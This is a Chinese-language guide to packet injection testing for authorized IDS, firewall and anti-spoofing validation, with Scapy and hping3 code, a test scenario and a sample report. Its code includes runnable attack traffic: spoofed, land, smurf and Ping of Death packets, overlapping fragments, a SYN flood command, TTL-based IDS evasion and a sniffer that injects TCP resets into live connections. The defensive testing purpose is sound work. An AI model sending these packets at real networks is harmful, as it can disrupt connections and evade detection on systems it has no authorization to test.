performing-packet-injection-attack

执行数据包注入攻击

何时使用

• 通过注入应触发特定检测特征的流量来测试 IDS/IPS 规则
• 通过构造具有特定标志、源地址和载荷的数据包来验证防火墙规则
• 评估网络栈对畸形数据包、分片攻击和协议违规的抵御能力
• 模拟欺骗流量以测试反欺骗控制（BCP38、uRPF）
• 执行 TCP 重置注入以测试连接恢复能力和会话劫持场景

请勿使用于针对生产系统的拒绝服务攻击、用于陷害第三方的流量欺骗，或在未获得目标网络明确授权的情况下使用。

前提条件

• 书面授权，明确说明范围内的目标和获批的数据包注入技术
• 在测试平台上安装 Scapy、hping3 和 Nemesis
• 具有 root/sudo 权限以进行原始套接字访问和数据包构造
• 在目标端使用 Wireshark 或 tcpdump 验证数据包送达
• 理解 TCP/IP 协议内部机制、头部字段和标志组合

工作流

步骤 1：使用 Scapy 构造并发送基本测试数据包

#!/usr/bin/env python3
"""Basic packet injection examples using Scapy for authorized testing."""

from scapy.all import *

# TCP SYN packet (port scan simulation)
syn = IP(dst="10.10.20.10") / TCP(dport=80, flags="S", seq=1000)
response = sr1(syn, timeout=2, verbose=0)
if response and response.haslayer(TCP):
    if response[TCP].flags == "SA":
        print(f"[*] Port 80 is OPEN (SYN-ACK received)")
    elif response[TCP].flags == "RA":
        print(f"[*] Port 80 is CLOSED (RST-ACK received)")

# TCP XMAS scan packet (all flags set)
xmas = IP(dst="10.10.20.10") / TCP(dport=80, flags="FPU")
send(xmas, verbose=0)
print("[*] XMAS packet sent (should trigger IDS)")

# NULL scan packet (no flags)
null = IP(dst="10.10.20.10") / TCP(dport=80, flags="")
send(null, verbose=0)
print("[*] NULL packet sent")

# Crafted ICMP packet with custom payload
icmp_custom = IP(dst="10.10.20.10") / ICMP(type=8) / Raw(load="SECURITY_TEST_PAYLOAD")
send(icmp_custom, verbose=0)
print("[*] Custom ICMP packet sent")

# UDP packet to test firewall rules
udp_test = IP(dst="10.10.20.10") / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname="test.example.com"))
response = sr1(udp_test, timeout=2, verbose=0)
if response:
    print(f"[*] DNS response received from {response[IP].src}")

步骤 2：IP 欺骗与反欺骗验证

#!/usr/bin/env python3
"""Test anti-spoofing controls with spoofed source IP packets."""

from scapy.all import *

# Spoofed source IP (should be blocked by BCP38/uRPF)
spoofed_syn = IP(src="192.0.2.100", dst="10.10.20.10") / TCP(dport=80, flags="S")
send(spoofed_syn, verbose=0)
print("[*] Sent SYN with spoofed source 192.0.2.100")

# Land attack test (source = destination)
land = IP(src="10.10.20.10", dst="10.10.20.10") / TCP(sport=80, dport=80, flags="S")
send(land, verbose=0)
print("[*] Land attack packet sent (src==dst)")

# Smurf attack test (ICMP to broadcast with spoofed source)
smurf = IP(src="10.10.20.10", dst="10.10.20.255") / ICMP(type=8)
send(smurf, verbose=0)
print("[*] Smurf test packet sent (ICMP to broadcast)")

# IP fragment overlap test
frag1 = IP(dst="10.10.20.10", flags="MF", frag=0) / TCP(dport=80, flags="S") / Raw(load="A"*24)
frag2 = IP(dst="10.10.20.10", frag=2) / Raw(load="B"*24)  # Overlapping fragment
send(frag1, verbose=0)
send(frag2, verbose=0)
print("[*] Overlapping IP fragments sent")

步骤 3：TCP 会话操纵

# TCP RST injection to test connection resilience
# Using hping3 to send RST packets
sudo hping3 -S -p 80 --rst -c 5 10.10.20.10

# SYN flood test (limited volume for testing, not DoS)
sudo hping3 -S --flood -V -p 80 -c 100 10.10.20.10
# Note: --flood sends at maximum rate; -c 100 limits to 100 packets

# Test TCP window manipulation
sudo hping3 -S -p 80 -w 0 -c 5 10.10.20.10  # Zero window
sudo hping3 -S -p 80 -w 65535 -c 5 10.10.20.10  # Max window

# Idle scan probe (to test if a host can be used as zombie)
sudo hping3 -SA -p 80 -c 3 10.10.20.10
# Check IP ID values in response for predictability

#!/usr/bin/env python3
"""TCP RST injection to test session resilience."""

from scapy.all import *

# Sniff for an active TCP connection and inject RST
def rst_inject(pkt):
    if pkt.haslayer(TCP) and pkt[TCP].flags == "A":
        rst = IP(
            src=pkt[IP].dst,
            dst=pkt[IP].src
        ) / TCP(
            sport=pkt[TCP].dport,
            dport=pkt[TCP].sport,
            seq=pkt[TCP].ack,
            flags="R"
        )
        send(rst, verbose=0)
        print(f"[*] RST injected: {pkt[IP].src}:{pkt[TCP].sport} -> {pkt[IP].dst}:{pkt[TCP].dport}")

# Sniff for 10 packets and attempt RST injection
print("[*] Listening for TCP ACK packets to inject RST...")
sniff(filter="tcp and host 10.10.20.10", prn=rst_inject, count=10, iface="eth0")

步骤 4：协议异常测试

#!/usr/bin/env python3
"""Protocol anomaly packets for IDS/firewall testing."""

from scapy.all import *

target = "10.10.20.10"

# Ping of Death (oversized ICMP - should be blocked)
pod = IP(dst=target) / ICMP() / Raw(load="X" * 65500)
send(fragment(pod), verbose=0)
print("[*] Ping of Death fragments sent")

# Tiny fragment attack (TCP header split across fragments)
tiny_frag = IP(dst=target, flags="MF", frag=0) / Raw(load=bytes(TCP(dport=80, flags="S"))[:8])
tiny_frag2 = IP(dst=target, frag=1) / Raw(load=bytes(TCP(dport=80, flags="S"))[8:])
send(tiny_frag, verbose=0)
send(tiny_frag2, verbose=0)
print("[*] Tiny fragment attack packets sent")

# Invalid TCP flag combinations
invalid_flags = [
    ("SYN+FIN", "SF"),
    ("SYN+RST", "SR"),
    ("FIN only (no session)", "F"),
    ("All flags", "FSRPAUEC"),
]

for name, flags in invalid_flags:
    pkt = IP(dst=target) / TCP(dport=80, flags=flags)
    send(pkt, verbose=0)
    print(f"[*] Sent packet with invalid flags: {name}")

# TTL-based evasion (packets that expire before reaching IDS)
# Assumes IDS is 2 hops away, target is 5 hops
ttl_evade = IP(dst=target, ttl=3) / TCP(dport=80, flags="S")
send(ttl_evade, verbose=0)
print("[*] Low-TTL evasion packet sent (TTL=3)")

# IP options padding
ip_opts = IP(dst=target, options=[IPOption_RR()]) / TCP(dport=80, flags="S")
send(ip_opts, verbose=0)
print("[*] Packet with IP Record Route option sent")

步骤 5：验证 IDS 检测

# Check Snort/Suricata for alerts triggered by injected packets
grep -i "xmas\|null\|land\|smurf\|ping.of.death\|fragment" /var/log/suricata/eve.json | \
  python3 -m json.tool | head -50

# Expected IDS alerts:
# - XMAS scan detected (SID: 2100330)
# - NULL scan detected (SID: 2100331)
# - Land attack detected
# - Smurf attack detected
# - Fragmentation anomaly
# - Invalid TCP flags

# Verify firewall dropped spoofed packets
sudo iptables -L -n -v | grep -i drop

# Check for fragmentation reassembly errors
dmesg | grep -i "fragment\|frag"

步骤 6：记录结果

# Generate test results summary
cat > packet_injection_report.txt << 'EOF'
Packet Injection Test Results
=============================
Date: $(date)
Target: 10.10.20.10
Tester: Security Assessment Team

Test 1: TCP XMAS Scan
  IDS Detection: YES (Suricata SID 2100330)
  Firewall Action: Dropped

Test 2: IP Spoofing (192.0.2.100)
  uRPF Block: YES (packet dropped at edge router)
  IDS Detection: YES (source not in HOME_NET)

Test 3: Fragmentation Overlap
  IDS Detection: YES (stream reassembly anomaly)
  Target Response: Fragments dropped by OS

Test 4: Invalid TCP Flags
  IDS Detection: YES (SYN+FIN, SYN+RST flagged)
  Firewall Action: Dropped
EOF

关键概念

术语	定义
数据包注入	构造并发送具有特定头部值、载荷或标志组合的网络数据包，以测试网络安全控制
IP 欺骗	在构造的数据包中设置虚假源 IP 地址，以测试反欺骗控制（BCP38、uRPF）或冒充另一台主机
TCP RST 注入	发送伪造的 TCP RST 数据包以终止已建立的连接，测试会话恢复能力和连接重置防御
分片攻击	利用 IP 分片将恶意载荷拆分到多个分片中，以规避不会重新组装分片的数据包检测
uRPF（单播反向路径转发）	路由器级别的反欺骗机制，如果源 IP 无法通过入站接口路由回，则丢弃数据包
BCP38（网络入站过滤）	通过在网络边界过滤源地址不属于该网络的数据包，防止 IP 欺骗的当前最佳实践

工具与系统

• Scapy：Python 数据包操纵库，用于构造任意网络数据包，并可完全控制所有协议头部
• hping3：命令行数据包生成器，支持 TCP、UDP、ICMP，并可控制标志、TTL、窗口大小和数据包速率
• Nemesis：网络数据包注入工具，支持 Ethernet、ARP、IP、TCP、UDP、ICMP、DNS 及其他协议
• tcpreplay：用于以受控速率重放捕获的 PCAP 文件的工具，以针对已知流量模式测试 IDS 规则
• Nping：Nmap 的数据包生成工具，用于构造具有任意 TCP/UDP/ICMP 头部的探测数据包

常见场景

场景：部署后验证 IDS 规则

背景：某 SOC 团队部署了新的 Suricata 规则，用于检测侦察和规避技术。他们需要在上线前验证规则能否正确触发。测试在复现生产网络的预发布环境中进行。

方法：

1. 使用 Scapy 构造 XMAS、NULL 和 FIN 扫描数据包，并发送到测试目标，以验证扫描检测规则
2. 生成带有无效 TCP 标志组合（SYN+FIN、SYN+RST）的数据包，以测试协议异常规则
3. 发送超大 ICMP 数据包和分片载荷，以测试分片检测规则
4. 注入带有伪造源 IP 的数据包，以验证反欺骗规则能否正确触发
5. 在活动 HTTP 会话期间发送 TCP RST 注入数据包，以测试会话中断检测
6. 验证所有预期的 Suricata 告警是否以正确的严重级别和元数据出现在 EVE JSON 日志中
7. 记录哪些规则触发了、哪些没有触发，并针对任何缺口提出规则调优建议

陷阱：

• 发送注入数据包过快，导致测试网络或 IDS 传感器过载
• 构造的数据包校验和计算错误，导致它们在到达 IDS 之前被静默丢弃
• 未考虑有状态防火墙会在数据包到达 IDS 接受检查之前丢弃不属于现有状态的数据包
• 从会修改源端口并破坏构造 TCP 序列的 NAT 后方进行测试

输出格式

## Packet Injection Test Report

**Target**: 10.10.20.10 (test-server-01)
**IDS Sensor**: suricata-staging-01
**Test Date**: 2024-03-15

### Test Matrix

| Test | Packet Type | Expected Detection | Actual Result |
|------|-------------|-------------------|---------------|
| 1 | TCP XMAS Scan | SID 2100330 | DETECTED |
| 2 | TCP NULL Scan | SID 2100331 | DETECTED |
| 3 | SYN+FIN Invalid | SID 2100332 | DETECTED |
| 4 | IP Spoofed Source | SID 2003000 | DETECTED |
| 5 | Land Attack | SID 2100333 | NOT DETECTED |
| 6 | Fragment Overlap | SID 2200001 | DETECTED |
| 7 | Ping of Death | SID 2100334 | DETECTED |
| 8 | TCP RST Injection | Custom SID | NOT DETECTED |

### Detection Rate: 6/8 (75%)

### Gaps Identified
1. Land attack (src==dst) not detected -- add rule SID 2100333
2. TCP RST injection not detected -- create custom rule for out-of-window RST